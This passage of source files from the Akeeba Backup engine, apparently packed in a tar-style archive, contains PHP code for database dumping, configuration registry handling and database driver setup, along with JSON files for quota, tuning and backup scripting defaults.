					}
				}

				if ($mustFilterContents)
				{
					$filters->filterDatabaseRowContent($dbRoot, $tableAbstract, $myRow);
				}

				if (
					(!$this->extendedInserts) || // Add header on simple INSERTs, or...
					($this->extendedInserts && empty($this->query)) //...on extended INSERTs if there are no other data, yet
				)
				{
					$newQuery  = true;
					$fieldList = $this->getFieldListSQL($columns);

					if ($numOfFields > 0)
					{
						$this->query = "INSERT INTO " . $db->nameQuote((!$use_abstract ? $tableName : $tableAbstract)) . " {$fieldList} VALUES \n";
					}
				}
				else
				{
					// On other cases, just mark that we should add a comma and start a new VALUES entry
					$newQuery = false;
				}

				$outData = '(';

				// Step through each of the row's values
				$fieldID = 0;

				// Used in running backup fix
				$isCurrentBackupEntry = false;

				// Fix 1.2a - NULL values were being skipped
				if ($numOfFields > 0)
				{
					foreach ($myRow as $fieldName => $value)
					{
						// The ID of the field, used to determine placement of commas
						$fieldID++;

						if ($fieldID > $numOfFields)
						{
							// This is required for SQL Server backups, do NOT remove!
							continue;
						}

						// Fix 2.0: Mark currently running backup as successful in the DB snapshot
						if ($tableAbstract == $statsTableAbstract)
						{
							if ($fieldID == 1)
							{
								// Compare the ID to the currently running
								$statistics           = Factory::getStatistics();
								$isCurrentBackupEntry = ($value == $statistics->getId());
							}
							elseif ($fieldID == 6)
							{
								// Treat the status field
								$value = $isCurrentBackupEntry ? 'complete' : $value;
							}
						}

						// Post-process the value
						if (is_null($value))
						{
							$outData .= "NULL"; // Cope with null values
						}
						else
						{
							// Accommodate for runtime magic quotes
							if (function_exists('get_magic_quotes_runtime'))
							{
								$value = @get_magic_quotes_runtime() ? stripslashes($value) : $value;
							}

							switch ($columnTypes[$fieldName] ?? '')
							{
								// Hex encode spatial data
								case 'GEOMETRY':
								case 'POINT':
								case 'LINESTRING':
								case 'POLYGON':
								case 'MULTIPOINT':
								case 'MULTILINESTRING':
								case 'MULTIPOLYGON':
								case 'GEOMETRYCOLLECTION':
									$hexEncoded = bin2hex($value);
									$value      = "x'$hexEncoded'";
									break;

								default:
									$value = $db->quote($value);
									break;
							}

							if ($this->postProcessValues)
							{
								$value = $this->postProcessQuotedValue($value);
							}

							$outData .= $value;
						}

						if ($fieldID < $numOfFields)
						{
							$outData .= ', ';
						}
					}
				}

				$outData .= ')';

				if ($numOfFields)
				{
					// If it's an existing query and we have extended inserts
					if ($this->extendedInserts && !$newQuery)
					{
						// Check the existing query size
						$query_length = strlen($this->query);
						$data_length  = strlen($outData);

						if (($query_length + $data_length) > $this->packetSize)
						{
							// We are about to exceed the packet size. Write the data so far.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$fieldList = $this->getFieldListSQL($columns);

							$this->query = '';
							$this->query = "INSERT INTO " . $db->nameQuote((!$use_abstract ? $tableName : $tableAbstract)) . " {$fieldList} VALUES \n";
							$this->query .= $outData;
						}
						else
						{
							// We have room for more data. Append $outData to the query.
							$this->query .= ",\n";
							$this->query .= $outData;
						}
					}
					// If it's a brand new insert statement in an extended INSERTs set
					elseif ($this->extendedInserts && $newQuery)
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Let's see the size of the dumped data...
						$query_length = strlen($this->query);

						if ($query_length >= $this->packetSize)
						{
							// This was a BIG query. Write the data to disk.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$this->query = '';
						}
					}
					// It's a normal (not extended) INSERT statement
					else
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Write the data to disk.
						$this->query .= ";\n";

						if (!$this->writeDump($this->query, true))
						{
							return;
						}

						// Then, start a new query
						$this->query = '';
					}
				}

				$outData = '';

				// Update the auto_increment value to avoid edge cases when the batch size is one
				if (!is_null($this->table_autoincrement['field']))
				{
					$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
				}

				unset($myRow);

				// Check for imminent timeout
				if ($timer->getTimeLeft() <= 0)
				{
					Factory::getLog()
						->debug("Breaking dump of $tableAbstract after $numRows rows; will continue on next step");

					break;
				}
			}

			$db->freeResult($cursor);

			// Advance the _nextRange pointer
			$this->nextRange += ($numRows != 0) ? $numRows : 1;

			$this->setStep($tableName);
			$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);
		}

		// Finalize any pending query
		// WARNING! If we do not do that now, the query will be emptied in the next operation and all
		// accumulated data will go away...
		if (!empty($this->query))
		{
			$this->query .= ";\n";

			if (!$this->writeDump($this->query, true))
			{
				return;
			}

			$this->query = '';
		}

		// Check for end of table dump (so that it happens inside the same operation)
		if ($this->nextRange >= $this->maxRange)
		{
			// Tell the user we are done with the table
			Factory::getLog()->debug("Done dumping " . $tableAbstract);

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($dump_records && Factory::getEngineParamsProvider()->getScriptingParameter('db.dropstatements', 0))
			{
				Factory::getLog()->debug("Writing data dump epilogue for " . $tableAbstract);
				$epilogue = $this->getDataDumpEpilogue($tableAbstract, $tableName, $this->maxRange);

				if (!empty($epilogue))
				{
					if (!$this->writeDump($epilogue, true))
					{
						return;
					}
				}
			}

			if ((is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) == 0)
			{
				// We have finished dumping the database!
				Factory::getLog()->info("End of database detected; flushing the dump buffers...");
				$this->writeDump(null);
				Factory::getLog()->info("Database has been successfully dumped to SQL file(s)");
				$this->setState(self::STATE_POSTRUN);
				$this->setStep('');
				$this->setSubstep('');
				$this->nextTable = '';
				$this->nextRange = 0;

				/**
				 * At the end of the database dump, if any query was longer than 1Mb, let's put a warning file in the
				 * installation folder, but ONLY if the backup is not a SQL-only backup (which has no backup archive).
				 */
				$isSQLOnly = $configuration->get('akeeba.basic.backup_type') == 'dbonly';

				if (!$isSQLOnly && ($this->largest_query >= 1024 * 1024))
				{
					$archive = Factory::getArchiverEngine();
					$archive->addFileVirtual('large_tables_detected', $this->installerSettings->installerroot, $this->largest_query);
				}
			}
			elseif ((is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) != 0)
			{
				// Switch tables
				$this->nextTable = array_shift($this->tables);
				$this->nextRange = 0;
				$this->setStep($this->nextTable);
				$this->setSubstep('');
			}
		}
	}

	/** @inheritDoc */
	protected function getAllTables(): array
	{
		// Get a database connection
		$db = $this->getDB();

		$this->enforceSQLCompatibility();

		$sql = 'SHOW TABLES';
		$db->setQuery($sql);

		return $db->loadColumn() ?: [];
	}
}
com_akeeba/BackupEngine/Configuration.php000060400000034367152455305260014505 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

use DirectoryIterator;
use stdClass;

/**
 * The Akeeba Engine configuration registry class
 */
class Configuration
{
	/**
	 * The currently loaded profile
	 *
	 * @var   integer
	 */
	public $activeProfile = null;

	/**
	 * Default namespace
	 *
	 * @var   string
	 */
	private $defaultNameSpace = 'global';

	/**
	 * Array keys which may contain stock directory definitions
	 *
	 * @var   array
	 */
	private $directory_containing_keys = [
		'akeeba.basic.output_directory',
	];

	/**
	 * Keys whose default values should never be overridden
	 *
	 * @var   array
	 */
	private $protected_nodes = [];

	/** The registry data
	 *
	 * @var   array
	 */
	private $registry = [];

	/**
	 * Constructor
	 *
	 * @return  void
	 */
	public function __construct()
	{
		// Create the default namespace
		$this->makeNameSpace($this->defaultNameSpace);

		// Create a default configuration
		$this->reset();
	}

	/**
	 * Create a namespace
	 *
	 * @param   string  $namespace  Name of the namespace to create
	 *
	 * @return  void
	 */
	public function makeNameSpace($namespace)
	{
		$this->registry[$namespace] = ['data' => new stdClass()];
	}

	/**
	 * Get the list of namespaces
	 *
	 * @return  array  List of namespaces
	 */
	public function getNameSpaces()
	{
		return array_keys($this->registry);
	}

	/**
	 * Get a registry value
	 *
	 * @param   string   $regpath               Registry path (e.g. global.directory.temporary)
	 * @param   mixed    $default               Optional default value
	 * @param   boolean  $process_special_vars  Optional. If true (default), it processes special variables, e.g.
	 *                                          [SITEROOT] in folder names
	 *
	 * @return  mixed  Value of entry or null
	 */
	public function get($regpath, $default = null, $process_special_vars = true)
	{
		// Cache the platform-specific stock directories
		static $stock_directories = [];

		if (empty($stock_directories))
		{
			$stock_directories = Platform::getInstance()->get_stock_directories();
		}

		$result = $default;

		// Explode the registry path into an array
		if ($nodes = explode('.', $regpath))
		{
			// Get the namespace
			$count = count($nodes);

			if ($count < 2)
			{
				$namespace = $this->defaultNameSpace;
				$nodes[1]  = $nodes[0];
			}
			else
			{
				$namespace = $nodes[0];
			}

			if (isset($this->registry[$namespace]))
			{
				$ns        = $this->registry[$namespace]['data'];
				$pathNodes = $count - 1;

				for ($i = 1; $i < $pathNodes; $i++)
				{
					if ((isset($ns->{$nodes[$i]})))
					{
						$ns = $ns->{$nodes[$i]};
					}
				}

				if (isset($ns->{$nodes[$i]}))
				{
					$result = $ns->{$nodes[$i]};
				}
			}
		}

		// Post-process certain directory-containing variables
		if ($process_special_vars && in_array($regpath, $this->directory_containing_keys))
		{
			if (!empty($stock_directories))
			{
				foreach ($stock_directories as $tag => $content)
				{
					$result = str_replace($tag, $content, $result);
				}
			}
		}

		return $result;
	}

	/**
	 * Set a registry value
	 *
	 * @param   string  $regpath               Registry Path (e.g. global.directory.temporary)
	 * @param   mixed   $value                 Value of entry
	 * @param   bool    $process_special_vars  Optional. If true (default), it processes special variables, e.g.
	 *                                         [SITEROOT] in folder names
	 *
	 * @return  mixed  Value of old value or boolean false if operation failed
	 */
	public function set($regpath, $value, $process_special_vars = true)
	{
		// Cache the platform-specific stock directories
		static $stock_directories = [];

		if (empty($stock_directories))
		{
			$stock_directories = Platform::getInstance()->get_stock_directories();
		}

		if (in_array($regpath, $this->protected_nodes))
		{
			return $this->get($regpath);
		}

		// Explode the registry path into an array
		$nodes = explode('.', $regpath);

		// Get the namespace
		$count = count($nodes);

		if ($count < 2)
		{
			$namespace = $this->defaultNameSpace;
		}
		else
		{
			$namespace = array_shift($nodes);
			$count--;
		}

		if (!isset($this->registry[$namespace]))
		{
			$this->makeNameSpace($namespace);
		}

		$ns = $this->registry[$namespace]['data'];

		$pathNodes = $count - 1;

		if ($pathNodes < 0)
		{
			$pathNodes = 0;
		}

		for ($i = 0; $i < $pathNodes; $i++)
		{
			// If any node along the registry path does not exist, create it
			if (!isset($ns->{$nodes[$i]}))
			{
				$ns->{$nodes[$i]} = new stdClass();
			}
			$ns = $ns->{$nodes[$i]};
		}

		// Set the new values
		if (is_string($value))
		{
			if (substr($value, 0, 10) == '###json###')
			{
				$value = json_decode(substr($value, 10));
			}
		}

		// Post-process certain directory-containing variables
		if ($process_special_vars && in_array($regpath, $this->directory_containing_keys))
		{
			if (!empty($stock_directories))
			{
				$data = $value;

				foreach ($stock_directories as $tag => $content)
				{
					$data = str_replace($tag, $content, $data);
				}

				$ns->{$nodes[$i]} = $data;

				return $ns->{$nodes[$i]};
			}
		}

		// This is executed if any of the previous two if's is false
		if (empty($nodes[$i]))
		{
			return false;
		}

		$ns->{$nodes[$i]} = $value;

		return $ns->{$nodes[$i]};
	}

	/**
	 * Unset (remove) a registry value
	 *
	 * @param   string  $regpath  Registry Path (e.g. global.directory.temporary)
	 *
	 * @return  boolean  True if the node was removed
	 */
	public function remove($regpath)
	{
		// Explode the registry path into an array
		$nodes = explode('.', $regpath);

		// Get the namespace
		$count = count($nodes);

		if ($count < 2)
		{
			$namespace = $this->defaultNameSpace;
		}
		else
		{
			$namespace = array_shift($nodes);
			$count--;
		}

		if (!isset($this->registry[$namespace]))
		{
			$this->makeNameSpace($namespace);
		}

		$ns = $this->registry[$namespace]['data'];

		$pathNodes = $count - 1;

		if ($pathNodes < 0)
		{
			$pathNodes = 0;
		}

		for ($i = 0; $i < $pathNodes; $i++)
		{
			// If any node along the registry path does not exist, return false
			if (!isset($ns->{$nodes[$i]}))
			{
				return false;
			}

			$ns = $ns->{$nodes[$i]};
		}

		unset($ns->{$nodes[$i]});

		return true;
	}

	/**
	 * Resets the registry to the default values
	 */
	public function reset()
	{
		// Load the Akeeba Engine INI files
		$root_path = __DIR__;

		$paths = [
			$root_path . '/Core',
			$root_path . '/Archiver',
			$root_path . '/Dump',
			$root_path . '/Scan',
			$root_path . '/Writer',
			$root_path . '/Proc',
			$root_path . '/Platform/Filter/Stack',
			$root_path . '/Filter/Stack',
		];

		$platform_paths = Platform::getInstance()->getPlatformDirectories();

		foreach ($platform_paths as $p)
		{
			$paths[] = $p . '/Filter/Stack';
			$paths[] = $p . '/Config';
		}

		foreach ($paths as $root)
		{
			if (!(is_dir($root) || is_link($root)))
			{
				continue;
			}

			if (!is_readable($root))
			{
				continue;
			}

			$di = new DirectoryIterator($root);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				if ($file->getExtension() == 'json')
				{
					$this->mergeEngineJSON($file->getRealPath());
				}
			}
		}
	}

	/**
	 * Merges an associative array of key/value pairs into the registry.
	 * If noOverride is set, only non set or null values will be applied.
	 *
	 * @param   array  $array                 An associative array. Its keys are registry paths.
	 * @param   bool   $noOverride            [optional] Do not override pre-set values.
	 * @param   bool   $process_special_vars  Optional. If true (default), it processes special variables, e.g.
	 *                                        [SITEROOT] in folder names
	 */
	public function mergeArray($array, $noOverride = false, $process_special_vars = true)
	{
		if (!$noOverride)
		{
			foreach ($array as $key => $value)
			{
				$this->set($key, $value, $process_special_vars);
			}
		}
		else
		{
			foreach ($array as $key => $value)
			{
				if (is_null($this->get($key, null)))
				{
					$this->set($key, $value, $process_special_vars);
				}
			}
		}
	}

	/**
	 * Merges a JSON file into the registry. Its top level keys are registry paths,
	 * child keys are appended to the section-defined paths and then set equal to the
	 * values. If noOverride is set, only non set or null values will be applied.
	 * Top level keys beginning with an underscore will be ignored.
	 *
	 * @param   string   $jsonPath    The full path to the INI file to load
	 * @param   boolean  $noOverride  [optional] Do not override pre-set values.
	 *
	 * @return  boolean  True on success
	 */
	public function mergeJSON($jsonPath, $noOverride = false)
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$rawData  = file_get_contents($jsonPath);
		$jsonData = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData as $rootkey => $rootvalue)
		{
			if (!is_array($rootvalue))
			{
				if (!$noOverride)
				{
					$this->set($rootkey, $rootvalue);
				}
				elseif (is_null($this->get($rootkey, null)))
				{
					$this->set($rootkey, $rootvalue);
				}
			}
			elseif (substr($rootkey, 0, 1) != '_')
			{
				foreach ($rootvalue as $key => $value)
				{
					if (!$noOverride)
					{
						$this->set($rootkey . '.' . $key, $rootvalue);
					}
					elseif (is_null($this->get($rootkey . '.' . $key, null)))
					{
						$this->set($rootkey . '.' . $key, $rootvalue);
					}
				}
			}
		}

		return true;
	}

	/**
	 * Merges an engine JSON file to the configuration. Each top level key defines a full
	 * registry path (section.subsection.key). It searches each top level key for the
	 * child key named "default" and merges its value to the configuration. The other keys
	 * are simply ignored.
	 *
	 * @param   string  $jsonPath    The absolute path to an JSON file
	 * @param   bool    $noOverride  [optional] If true, values from the JSON file will not override the configuration
	 *
	 * @return  boolean  True on success
	 */
	public function mergeEngineJSON($jsonPath, $noOverride = false)
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$rawData  = file_get_contents($jsonPath);
		$jsonData = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData ?? [] as $section => $nodes)
		{
			if (is_array($nodes))
			{
				if (substr($section, 0, 1) != '_')
				{
					// Is this a protected node?
					$protected = false;

					if (array_key_exists('protected', $nodes))
					{
						$protected = $nodes['protected'];
					}

					// If overrides are allowed, unprotect until we can set the value
					if (!$noOverride)
					{
						if (in_array($section, $this->protected_nodes))
						{
							$pnk = array_search($section, $this->protected_nodes);
							unset($this->protected_nodes[$pnk]);
						}
					}

					if (array_key_exists('remove', $nodes))
					{
						// Remove a node if it has "remove" set
						$this->remove($section);
					}
					elseif (isset($nodes['default']))
					{
						if (!$noOverride)
						{
							// Update the default value if No Override is set
							$this->set($section, $nodes['default']);
						}
						elseif (is_null($this->get($section, null)))
						{
							// Set the default value if it does not exist
							$this->set($section, $nodes['default']);
						}
					}

					// Finally, if it's a protected node, enable the protection
					if ($protected)
					{
						$this->protected_nodes[] = $section;
					}
					else
					{
						$idx = array_search($section, $this->protected_nodes);

						if ($idx !== false)
						{
							unset($this->protected_nodes[$idx]);
						}
					}
				}
			}
		}

		return true;
	}

	/**
	 * Exports the current registry snapshot as a JSON-encoded object. Each namespace is a property of the top-level
	 * JSON object.
	 *
	 * @return  string  The JSON-encoded representation of the registry
	 *
	 * @since   6.4.1
	 */
	public function exportAsJSON()
	{
		$forJSON    = [];
		$namespaces = $this->getNameSpaces();

		foreach ($namespaces as $namespace)
		{
			if ($namespace == 'volatile')
			{
				continue;
			}

			$forJSON[$namespace] = $this->registry[$namespace]['data'];
		}

		return json_encode($forJSON, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);

	}

	/**
	 * Sets the protection status for a specific configuration key
	 *
	 * @param   string|array  $node     The node to protect/unprotect
	 * @param   boolean       $protect  True to protect, false to unprotect
	 *
	 * @return  void
	 */
	public function setKeyProtection($node, $protect = false)
	{
		if (is_array($node))
		{
			foreach ($node as $k)
			{
				$this->setKeyProtection($k, $protect);
			}
		}
		elseif (is_string($node))
		{
			if (is_array($this->protected_nodes))
			{
				$protected = in_array($node, $this->protected_nodes);
			}
			else
			{
				$this->protected_nodes = [];
				$protected             = false;
			}

			if ($protect)
			{
				if (!$protected)
				{
					$this->protected_nodes[] = $node;
				}
			}
			else
			{
				if ($protected)
				{
					$pnk = array_search($node, $this->protected_nodes);
					unset($this->protected_nodes[$pnk]);
				}
			}
		}
	}

	/**
	 * Returns a list of protected keys
	 *
	 * @return  array
	 */
	public function getProtectedKeys()
	{
		return $this->protected_nodes;
	}

	/**
	 * Resets the protected keys
	 *
	 * @return  void
	 */
	public function resetProtectedKeys()
	{
		$this->protected_nodes = [];
	}

	/**
	 * Sets the protected keys
	 *
	 * @param   array  $keys  A list of keys to protect
	 *
	 * @return  void
	 */
	public function setProtectedKeys($keys)
	{
		$this->protected_nodes = $keys;
	}
}
com_akeeba/BackupEngine/Core/04.quota.json000060400000004436152455305260014315 0ustar00{
    "_group": {
        "description": "COM_AKEEBA_CONFIG_HEADER_QUOTA"
    },
    "akeeba.quota.maxage.enable": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.obsolete_quota": {
        "default": "50",
        "type": "integer",
        "min": "0",
        "max": "500",
        "shortcuts": "1|10|20|30|40|50",
        "scale": "1",
        "uom": "items",
        "title": "COM_AKEEBA_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.enable_size_quota": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_SIZEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.size_quota": {
        "default": "15728640",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.size_quota:1"
    },
    "akeeba.quota.enable_count_quota": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_COUNTQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.count_quota": {
        "default": "3",
        "type": "integer",
        "min": "1",
        "max": "200",
        "shortcuts": "1|5|10|50|100|200",
        "scale": "1",
        "uom": "",
        "title": "COM_AKEEBA_CONFIG_COUNTQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.enable_count_quota:1"
    },
    "akeeba.quota.remotely.maxage.enable": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.remotely.enable_count_quota": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.remotely.enable_size_quota": {
        "default": "0",
        "type": "none",
        "protected": "1"
    }
}com_akeeba/BackupEngine/Core/05.tuning.json000060400000006434152455305260014471 0ustar00{
    "_group": {
        "description": "COM_AKEEBA_CONFIG_HEADER_TUNING"
    },
    "akeeba.tuning.min_exec_time": {
        "default": "2000",
        "type": "integer",
        "min": "0",
        "max": "20000",
        "shortcuts": "0|250|500|1000|2000|3000|4000|5000|7500|10000|15000|20000",
        "scale": "1000",
        "uom": "s",
        "title": "COM_AKEEBA_CONFIG_MINEXECTIME_TITLE",
        "description": "COM_AKEEBA_CONFIG_MINEXECTIME_DESCRIPTION"
    },
    "akeeba.tuning.max_exec_time": {
        "default": "14",
        "type": "integer",
        "min": "0",
        "max": "180",
        "shortcuts": "1|2|3|5|7|10|14|15|20|23|25|30|45|60|90|120|180",
        "scale": "1",
        "uom": "s",
        "title": "COM_AKEEBA_CONFIG_MAXEXECTIME_TITLE",
        "description": "COM_AKEEBA_CONFIG_MAXEXECTIME_DESCRIPTION"
    },
    "akeeba.tuning.run_time_bias": {
        "default": "75",
        "type": "integer",
        "min": "10",
        "max": "100",
        "shortcuts": "10|20|25|30|40|50|60|75|80|90|100",
        "scale": "1",
        "uom": "%",
        "title": "COM_AKEEBA_CONFIG_RUNTIMEBIAS_TITLE",
        "description": "COM_AKEEBA_CONFIG_RUNTIMEBIAS_DESCRIPTION"
    },
    "akeeba.advanced.autoresume": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_AUTORESUME_TITLE",
        "description": "COM_AKEEBA_CONFIG_AUTORESUME_DESCRIPTION"
    },
    "akeeba.advanced.autoresume_timeout": {
        "default": "10",
        "type": "integer",
        "min": "1",
        "max": "36000",
        "scale": "1",
        "uom": "s",
        "shortcuts": "3|5|10|15|20|30|45|60|90|120|300|600|900|1800|3600",
        "title": "COM_AKEEBA_CONFIG_AUTORESUME_TIMEOUT_TITLE",
        "description": "COM_AKEEBA_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION",
        "showon": "akeeba.advanced.autoresume:1"
    },
    "akeeba.advanced.autoresume_maxretries": {
        "default": "3",
        "type": "integer",
        "min": "1",
        "max": "1000",
        "scale": "1",
        "shortcuts": "1|3|5|7|10|15|20|30|50|100",
        "title": "COM_AKEEBA_CONFIG_AUTORESUME_MAXRETRIES_TITLE",
        "description": "COM_AKEEBA_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION",
        "showon": "akeeba.advanced.autoresume:1"
    },
    "akeeba.tuning.nobreak.beforelargefile": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.afterlargefile": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.proactive": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.domains": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.nobreak.finalization": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.tuning.settimelimit": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_ADVANCED_SETTIMELIMIT_LABEL",
        "description": "COM_AKEEBA_CONFIG_ADVANCED_SETTIMELIMIT_DESC"
    },
    "akeeba.tuning.setmemlimit": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_ADVANCED_SETMEMLIMIT_LABEL",
        "description": "COM_AKEEBA_CONFIG_ADVANCED_SETMEMLIMIT_DESC"
    }
}com_akeeba/BackupEngine/Core/Database.php000060400000007112152455305260014256 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Base as DriverBase;
use Akeeba\Engine\Driver\Mysqli;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\HashTrait;

/**
 * A utility class to return a database connection object
 */
class Database
{
	use HashTrait;

	private static $instances = [];

	/**
	 * Returns a database connection object. It caches the created objects for future use.
	 *
	 * @param   array  $options  The database driver connection options
	 *
	 * @return  DriverBase|object  A DriverBase object or something with magic methods that's compatible with it
	 */
	public static function &getDatabase(array $options)
	{
		// Get the options signature.
		$signature = self::md5(serialize($options));

		// If there's a cached object return it.
		if (!empty(self::$instances[$signature]))
		{
			return self::$instances[$signature];
		}

		// Get the driver name / class
		$driver = preg_replace('/[^A-Z0-9_\\\.-]/i', '', $options['driver'] ?? '');

		// If there is no driver specified ask the Platform to guess it.
		if (empty($driver))
		{
			$default_signature = self::md5(serialize(Platform::getInstance()->get_platform_database_options()));
			$driver            = Platform::getInstance()->get_default_database_driver($signature === $default_signature);
		}

		// Ensure we have the FQN of the driver class
		if ((substr($driver, 0, 7) != '\\Akeeba') && substr($driver, 0, 7) != 'Akeeba\\')
		{
			$driver = '\\Akeeba\\Engine\\Driver\\' . ucfirst($driver);
		}

		// Map the legacy MySQL driver to the newer MySQLi
		if (($driver == '\\Akeeba\\Engine\\Driver\\Mysql') && !function_exists('mysql_connect'))
		{
			$driver = Mysqli::class;
		}

		// Translate MySQL SSL options
		if (!isset($options['ssl']) || !is_array($options['ssl']))
		{
			$options['ssl'] = [
				'enable'             => (bool) ($options['dbencryption'] ?? false),
				'cipher'             => ($options['dbsslcipher'] ?? '') ?: '',
				'ca'                 => ($options['dbsslca'] ?? '') ?: '',
				'capath'             => ($options['dbsslcapath'] ?? '') ?: '',
				'key'                => ($options['dbsslkey'] ?? '') ?: '',
				'cert'               => ($options['dbsslcert'] ?? '') ?: '',
				'verify_server_cert' => ($options['dbsslverifyservercert'] ?? false) ?: false,
			];
		}

		// Instantiate the database driver object and return it
		self::$instances[$signature] = new $driver($options);

		return self::$instances[$signature];
	}

	/**
	 * Un-cache a database driver object
	 *
	 * @param   array  $options  The database driver connection options
	 *
	 * @return  void
	 */
	public static function unsetDatabase(array $options): void
	{
		$signature = self::md5(serialize($options));

		if (!isset(self::$instances[$signature]))
		{
			return;
		}

		unset(self::$instances[$signature]);
	}
}
com_akeeba/BackupEngine/Core/scripting.json000060400000007351152455305260014743 0ustar00{
    "volatile.akeebaengine.domains": "init|installer|packdb|packing|finale",
    "volatile.akeebaengine.scripts": "full|dbonly|fileonly|alldb|incfile|incfull",

    "volatile.domain.init.domain": "init",
    "volatile.domain.init.class": "Init",
    "volatile.domain.init.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_INIT",

    "volatile.domain.installer.domain": "installer",
    "volatile.domain.installer.class": "Installer",
    "volatile.domain.installer.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_INSTALLER",

    "volatile.domain.packdb.domain": "PackDB",
    "volatile.domain.packdb.class": "Db",
    "volatile.domain.packdb.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_PACKDB",

    "volatile.domain.packing.domain": "Packing",
    "volatile.domain.packing.class": "Pack",
    "volatile.domain.packing.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_PACKING",

    "volatile.domain.finale.domain": "finale",
    "volatile.domain.finale.class": "Finalization",
    "volatile.domain.finale.text": "COM_AKEEBA_BACKUP_LABEL_DOMAIN_FINISHED",

    "volatile.scripting.full.chain": "init|installer|packdb|packing|finale",
    "volatile.scripting.full.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_FULL",
    "volatile.scripting.full.db.saveasname": "normal",
    "volatile.scripting.full.db.databasesini": "1",
    "volatile.scripting.full.db.skipextradb": "0",
    "volatile.scripting.full.db.abstractnames": "1",
    "volatile.scripting.full.db.dropstatements": "0",
    "volatile.scripting.full.db.delimiterstatements": "0",
    "volatile.scripting.full.core.createarchive": "1",

    "volatile.scripting.dbonly.chain": "init|packdb|finale",
    "volatile.scripting.dbonly.text": "COM_AKEEBA_CONFIG_BACKUPTYPE_DBONLY",
    "volatile.scripting.dbonly.db.saveasname": "output",
    "volatile.scripting.dbonly.db.databasesini": "0",
